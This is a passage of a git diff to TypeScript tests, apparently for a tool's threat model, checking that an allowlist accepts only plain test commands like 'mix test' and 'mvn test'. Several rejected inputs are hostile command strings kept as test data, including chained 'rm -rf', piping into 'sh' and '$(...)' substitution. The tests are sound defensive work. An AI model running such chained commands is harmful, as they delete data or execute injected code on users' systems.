expect(allowlistedArgv("bun test --watch")).toBeUndefined(); - expect(allowlistedArgv("deno test | sh")).toBeUndefined(); - expect(allowlistedArgv("bun test && rm -rf /tmp")).toBeUndefined(); - expect(allowlistedArgv("bun test $(whoami)")).toBeUndefined(); + it("does not match repositories without mix.exs or pom.xml", async () => { + const repo = await stageFixture("pass-clean"); + const contract = await compile({ repoPath: repo }); + expect(allRules(contract).some((item) => item.id === "adapter-elixir-mix")).toBe(false); + expect(allRules(contract).some((item) => item.id === "adapter-java-maven")).toBe(false); }); }); diff --git a/test/threat.test.ts b/test/threat.test.ts index 956e3bd..439755d 100644 --- a/test/threat.test.ts +++ b/test/threat.test.ts @@ -46,6 +46,13 @@ describe("threat model", () => { expect(allowlistedArgv("echo $(whoami)")).toBeUndefined(); expect(allowlistedArgv("npm test")).toEqual(["npm", "test"]); expect(allowlistedArgv("python -m pytest")).toEqual(["python", "-m", "pytest"]); + expect(allowlistedArgv("mix test")).toEqual(["mix", "test"]); + expect(allowlistedArgv("mvn test")).toEqual(["mvn", "test"]); + expect(allowlistedArgv("mix test --cover")).toBeUndefined(); + expect(allowlistedArgv("mvn test -DskipTests=false")).toBeUndefined(); + expect(allowlistedArgv("mix test && rm -rf /tmp/fixture")).toBeUndefined(); + expect(allowlistedArgv("mvn test | sh")).toBeUndefined(); + expect(allowlistedArgv("mix test $(touch /tmp/fixture)")).toBeUndefined(); }); it("T2: unknown contribkit.yml keys are needs-human and never execute", async () => {